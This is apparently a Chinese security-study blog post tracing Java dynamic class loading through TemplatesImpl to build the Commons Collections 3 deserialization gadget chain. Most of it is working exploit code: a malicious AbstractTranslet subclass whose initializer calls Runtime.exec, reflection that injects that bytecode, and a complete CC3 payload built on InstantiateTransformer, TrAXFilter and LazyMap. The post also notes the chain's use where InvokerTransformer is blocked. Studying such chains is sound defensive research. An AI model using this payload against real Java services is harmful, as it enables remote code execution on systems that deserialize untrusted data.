动态类加载 动态类加载 - AU9U5T
分析 由于defineClass 是private 所以我们得找到一条链子可以实现public 函数为入口调用到defineClass
那就得慢慢 在ClassLoader 类中去找
最终找到了这个
往上找
发现是作用域是default
那么只会在该类中调用,继续往上找
只有一个调用者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
_class[i] = loader.defineClass(_bytecodes[i]);
这里就是对_class进行初始化,但是该函数还是一个private,继续找该方法的调用
一个一个的看
getTransletClasses
只是返回一个_class
defineTransletClasses
返回的是下标
getTransletInstance
该类完成了newInstance() 完成了类的创建
那么这个函数走完,恶意的类也就完成了执行
那就继续找 getTransletInstance 有哪些调用
发现了public 的方法,那么先尝试看看该类是否能执行
现在的链子就是
1 2 3 4 5 TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses() -> TemplatesImpl.defineClass() -> ClassLoader.defineClass()
首先外部只需要调用newTransfomer() 就行
1 2 3 4 5 6 7 8 9 10 11 12 13 public void test () throws TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl (); templates.newTransformer(); }
但是得分析一下路径控制看是否能成功的执行到目标函数
这个函数中不需要,因为无论赋不赋值getTransletInstance() 都可以直接调用
要调用defineTransletClasses() 那么 _name 不能为null,_class为null
_bytecodes 不能为null,_tfactory 也不能为null 不然会出发异常
然后完成下面的初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.cclearn;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class cc3Learn { public static void test () throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl (); Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "au9u5t" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class" )); byte [][] codes= new byte [][]{code}; bytecodesField.set(templates, codes); Field classField = templatesClass.getDeclaredField("_class" ); classField.setAccessible(true ); classField.set(templates, null ); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } public static void main (String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException { test(); } }
其中恶意类代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 import java.io.IOException;public class Test { { String cmd="open -a Calculator.app" ; try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException (e); } } }
上诉代码存在空指针异常
分析出
这里出发的异常
有两个方案
_auxClasses 赋值
走if 的结果,而不是else 结果
分析可以发现
如果小于0 也会抛出异常 调试发现
该值为-1 那么让其走if 结果,不让第二个if 异常,而且可以防止空指针异常
那么这个要求我们的类的父类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
我们需要继承一下,那么修改类如下(需要实现部分接口,和虚类)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet { { String cmd="open -a Calculator.app" ; try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
再进行加载
发现成功加载
最后的测试函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.cclearn;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class cc3Learn { public static void test () throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl (); Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "au9u5t" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class" )); byte [][] codes= new byte [][]{code}; bytecodesField.set(templates, codes); Field classField = templatesClass.getDeclaredField("_class" ); classField.setAccessible(true ); classField.set(templates, null ); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } public static void main (String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException { test(); } }
替换cc1 的source 本意是替换cc1 中的代码执行,到新的动态类加载
本质就只需要进行 换一下sink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 package org.cclearn;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.clearn.Clean;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.annotation.Target;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class cc3Learn { public static void test () throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl (); Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "au9u5t" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class" )); byte [][] codes= new byte [][]{code}; bytecodesField.set(templates, codes); Field classField = templatesClass.getDeclaredField("_class" ); classField.setAccessible(true ); classField.set(templates, null ); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } public static void testWithCc1Source () throws Exception { TemplatesImpl templates = new TemplatesImpl (); try { Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "au9u5t" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class" )); byte [][] codes= new byte [][]{code}; bytecodesField.set(templates, codes); Field classField = templatesClass.getDeclaredField("_class" ); classField.setAccessible(true ); classField.set(templates, null ); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); }catch (Exception e){ e.printStackTrace(); } Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ), }; ChainedTransformer ct=new ChainedTransformer (transformers); ct.transform(1 ); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, ct); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler object = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},object); InvocationHandler invocationHandlerObject = (InvocationHandler) constructor.newInstance(Target.class, mapProxy); String Filename=Serialize.serialize(invocationHandlerObject); Serialize.deserialize(Filename); Clean.clean(); } public static void main (String[] args) throws Exception { testWithCc1Source(); } }
ysoserial 的cc3 其实除了发现了可以通过invokeTransfomer 进行调用之外,还可以找其他方式进行调用。以防再invokeTransformer 被禁用的情况下使用
那么就出现了cc3 的正规调用方式
首先 TrAXFilter类 的构造函数中就调用了templates.newTransformer
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
然后就想什么transformer 函数中会创建对象,从而调用构造函数
InstantiateTransformer 类的transform 函数会调用构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
然后就可以构造一个新的利用方案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 package org.cclearn;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.clearn.Clean;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.annotation.Target;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class cc3Learn { public static void test () throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl (); Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "au9u5t" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class" )); byte [][] codes= new byte [][]{code}; bytecodesField.set(templates, codes); Field classField = templatesClass.getDeclaredField("_class" ); classField.setAccessible(true ); classField.set(templates, null ); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } public static void testWithCc1Source () throws Exception { TemplatesImpl templates = new TemplatesImpl (); try { Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "au9u5t" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class" )); byte [][] codes= new byte [][]{code}; bytecodesField.set(templates, codes); Field classField = templatesClass.getDeclaredField("_class" ); classField.setAccessible(true ); classField.set(templates, null ); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); }catch (Exception e){ e.printStackTrace(); } Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ), }; ChainedTransformer ct=new ChainedTransformer (transformers); ct.transform(1 ); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, ct); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler object = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},object); InvocationHandler invocationHandlerObject = (InvocationHandler) constructor.newInstance(Target.class, mapProxy); String Filename=Serialize.serialize(invocationHandlerObject); Serialize.deserialize(Filename); Clean.clean(); } public static void cc3 () throws Exception { TemplatesImpl templates = new TemplatesImpl (); try { Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "au9u5t" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class" )); byte [][] codes= new byte [][]{code}; bytecodesField.set(templates, codes); Field classField = templatesClass.getDeclaredField("_class" ); classField.setAccessible(true ); classField.set(templates, null ); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); }catch (Exception e){ e.printStackTrace(); } Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer ct=new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, ct); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler object = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},object); InvocationHandler invocationHandlerObject = (InvocationHandler) constructor.newInstance(Target.class, mapProxy); String Filename=Serialize.serialize(invocationHandlerObject); Serialize.deserialize(Filename); Clean.clean(); } public static void main (String[] args) throws Exception { cc3(); } }